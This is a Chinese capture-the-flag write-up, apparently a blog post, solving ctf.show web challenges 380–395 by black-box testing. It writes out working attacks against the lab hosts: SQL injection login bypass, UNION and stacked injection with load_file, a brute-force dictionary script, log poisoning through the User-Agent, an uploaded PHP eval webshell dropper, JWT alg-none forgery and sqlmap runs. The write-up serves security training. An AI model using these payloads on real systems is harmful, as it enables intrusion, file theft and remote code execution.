WEB入门——黑盒测试
web380
dirsearch -u http://27643b44-50e3-4e3a-83f1-96d9d0cccfe2.challenge.ctf.show
返回:
[07:13:55] 200 - 0B - /flag.php
[07:13:59] 200 - 119B - /page.php
访问:
/page.php
返回:
<br />
<b>Notice</b>: Undefined index: id in <b>/var/www/html/page.php</b> on line <b>16</b><br />
打开$id.php失败
直接读flag.php
/page.php?id=flag
web381
dirsearch -u http://3e0caf00-a48a-4b51-95bb-2416a1b46dc3.challenge.ctf.show
返回:
[07:17:09] 200 - 24B - /page.php
打开返回:
打开page_$id.php失败
尝试访问源码的一些路径

访问:
/alsckdfy/
web382
查看网页源代码,跟上一题一样,访问路径
/alsckdfy

尝试用万能密码:
账号:
1' or 1=1 #
密码随便填写
web383
跟上题步骤一样,也是先访问路径/alsckdfy,打开登录框后输入万能密码得到flag
web384
告诉我们密码前2位是小写字母,后三位是数字,很明显是要爆破
生成字典:
# 打开一个文件,准备写入密码(文件名叫 passwords.txt)
with open("passwords.txt", "w") as file:
# 第一层循环:第一个字母从 'a' 到 'z'
for first_letter in "abcdefghijklmnopqrstuvwxyz":
# 第二层循环:第二个字母也从 'a' 到 'z'
for second_letter in "abcdefghijklmnopqrstuvwxyz":
# 把两个字母拼起来,比如 'a' + 'b' = 'ab'
letters = first_letter + second_letter
# 第三层循环:数字从 0 到 999
for number in range(0, 1000):
# 把数字变成3位数格式,不足前面补0(比如 7 → '007')
digits = f"{number:03d}"
# 拼成完整密码,比如 'ab' + '007' = 'ab007'
password = letters + digits
# 把密码写入文件,每行一个
file.write(password + "\n")
print("✅ 字典生成完成!共 676,000 个密码,已保存到 passwords.txt")
web385
dirsearch -u http://b139af2e-0c34-4446-9a06-dbfe9451fdbf.challenge.ctf.show/
返回:
[07:31:40] 301 - 169B - /install -> http://b139af2e-0c34-4446-9a06-dbfe9451fdbf.challenge.ctf.show/install/
[07:31:40] 200 - 129B - /install/
[07:31:40] 200 - 129B - /install/index.php?upgrade/
[07:31:43] 200 - 24B - /page.php
访问install
请务必在安装成功后删除本文件
需要重新安装请访问install/?install,管理员密码将重置为默认密码
弱口令登录
admin888
web386
dirsearch -u http://673c594f-a7fc-4c68-8969-65c1e35ef49d.challenge.ctf.show
访问/install,但是这次显示lock.dat存在
<link rel="stylesheet" href="alsckdfy/layui/css/tree.css">
尝试将路径去掉alsckdfy/访问,发现多了一句话
/*如果页面卡顿,可以访问clear.php清理缓存*/
比上一题多了一个/clear.php,访问显示清理完成
我们尝试能不能控制它清理我们指定的文件,猜测参数可能为file,访问
/clear.php?file=install/lock.dat
接着再次访问/install,发现lock.dat成功被删除
admin888
web387
dirsearch -u http://6c970b5f-d514-44f7-bdab-dc5a496faffb.challenge.ctf.show/
返回:
[07:45:43] 301 - 169B - /debug -> http://6c970b5f-d514-44f7-bdab-dc5a496faffb.challenge.ctf.show/debug/
[07:45:43] 200 - 14B - /debug/
[07:45:46] 301 - 169B - /install -> http://6c970b5f-d514-44f7-bdab-dc5a496faffb.challenge.ctf.show/install/
[07:45:46] 200 - 59B - /install/
[07:45:46] 200 - 59B - /install/index.php?upgrade/
[07:45:49] 200 - 24B - /page.php
[07:45:51] 200 - 15B - /robots.txt
访问/debug/返回:
file not exist
访问:成功读取到文件
/debug/?file=/etc/passwd

进行日志包含执行命令
UA写入如下内容:
<?php unlink('/var/www/html/install/lock.dat');?>
GET:
?file=/var/log/nginx/access.log
web388
对后台登录页面进行目录扫描
dirsearch -u http://c10a6210-b180-4f20-8f93-cd01a5f6cd28.challenge.ctf.show/alsckdfy/
返回:
[07:55:47] 200 - 5B - /alsckdfy/check.php
[07:55:47] 200 - 0B - /alsckdfy/config.php
[07:55:48] 301 - 169B - /alsckdfy/css -> http://c10a6210-b180-4f20-8f93-cd01a5f6cd28.challenge.ctf.show/alsckdfy/css/
[07:55:49] 301 - 169B - /alsckdfy/editor -> http://c10a6210-b180-4f20-8f93-cd01a5f6cd28.challenge.ctf.show/alsckdfy/editor/
[07:55:49] 200 - 1KB - /alsckdfy/editor/
[07:55:51] 301 - 169B - /alsckdfy/images -> http://c10a6210-b180-4f20-8f93-cd01a5f6cd28.challenge.ctf.show/alsckdfy/images/
[07:55:51] 403 - 555B - /alsckdfy/images/
[07:55:52] 301 - 169B - /alsckdfy/lang -> http://c10a6210-b180-4f20-8f93-cd01a5f6cd28.challenge.ctf.show/alsckdfy/lang/
[07:55:55] 301 - 169B - /alsckdfy/plugins -> http://c10a6210-b180-4f20-8f93-cd01a5f6cd28.challenge.ctf.show/alsckdfy/plugins/
[07:55:55] 403 - 555B - /alsckdfy/plugins/
[07:55:59] 301 - 169B - /alsckdfy/themes -> http://c10a6210-b180-4f20-8f93-cd01a5f6cd28.challenge.ctf.show/alsckdfy/themes/
[07:55:59] 403 - 555B - /alsckdfy/themes/
访问:
/alsckdfy/editor
我们把木马写好后改后缀为zip,上传文件
<?php
$a = '<?php eval($_POST[1]);?>';
file_put_contents('/var/www/html/1.php',$a);
?>

/alsckdfy/attached/file/20260214/20260214125917_17402.zip
拼接到/debug/?file=/var/www/html后面,访问
/debug/?file=/var/www/html/alsckdfy/attached/file/20260214/20260214125917_17402.zip
访问:
/1.php
web389
访问路径/debug,这次显示权限不足,F12查看cookie,发现多了一个auth验证

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc3MTA3NDI4MywiZXhwIjoxNzcxMDgxNDgzLCJuYmYiOjE3NzEwNzQyODMsInN1YiI6InVzZXIiLCJqdGkiOiJlNWEwOWE4ZDI4YzViNzllOTg3Njk1Mzk0ZWIyMjNmNyJ9.qSEGSua6_brrdP69ZfGbDlJfHbymtLhOd2Lq4X6GdeM

爆破得到密钥:
123456

成功访问:

剩下的步骤跟上个一样
web390
思路1:JWT伪造
把alg改为none,sub改为admin
import jwt
# 把自己的payload复制替换dict,然后更改user为admin
dict = {
"iss": "admin",
"iat": 1771074756,
"exp": 1771081956,
"nbf": 1771074756,
"sub": "admin",
"jti": "6a0f9563e828563566c315928951e215"
}
headers = {
"alg": "none",
"typ": "JWT"
}
jwt_token = jwt.encode(dict, key='',headers=headers, algorithm="none")
print(jwt_token)
剩下步骤跟上述一样
思路2:数字型注入
page.php?id=-1 union select 1,2,substr((select load_file('/var/www/html/alsckdfy/check.php')),1,255)#
web391
思路1:JWT伪造
上述一样
思路2:字符型注入
search.php?title=-1' union select 1,2,substr((select load_file('/var/www/html/alsckdfy/check.php')),1,255)-- -
web392
思路1:JWT伪造
思路2:字符型注入
search.php?title=-1' union select 1,2,substr((select load_file('/flag')),1,255)-- -
web393
思路1:JWT伪造
思路2:堆叠注入
首先找到一个查看内容的位置
/link.php?id=
然后再找到一个堆叠注入点
sqlmap -u "http://408d793b-1a0c-4c05-af89-cc32a957dcbd.challenge.ctf.show/search.php?title=1"
需要先获取数据库的表名和列名再利用
获取数据库名:
sqlmap -u http://4a581051-6c96-4489-b2d2-f76b8662be96.challenge.ctf.show/search.php?title=1 --method=GET --dbs --batch
获取表名:
sqlmap -u http://4a581051-6c96-4489-b2d2-f76b8662be96.challenge.ctf.show/search.php?title=1 --method=GET -D ctfshow --tables --batch
获取列名:
sqlmap -u http://4a581051-6c96-4489-b2d2-f76b8662be96.challenge.ctf.show/search.php?title=1 --method=GET -D ctfshow -T link --columns --batch
最后用堆叠注入:
search.php?title=1';insert into link(id, name, url) values(11,'a','file:///flag');
最后访问/link.php?id=11即可
web394
思路1:JWT伪造
思路2:堆叠注入
sqlmap -u "http://2ed1e68c-6205-411d-87ae-28d09f374d82.challenge.ctf.show/search.php?title=1"
跟上题方法一样,但是这次过滤了一些字符,用16进制绕过即可
/search.php?title=1';insert into link(id, name, url) values(10,'a',0x66696c653a2f2f2f7661722f7777772f68746d6c2f616c73636b6466792f636865636b2e706870);
访问:
/link.php?id=10
web395
思路1:JWT伪造
思路2:堆叠注入
解法也是跟上题一样

浙公网安备 33010602011771号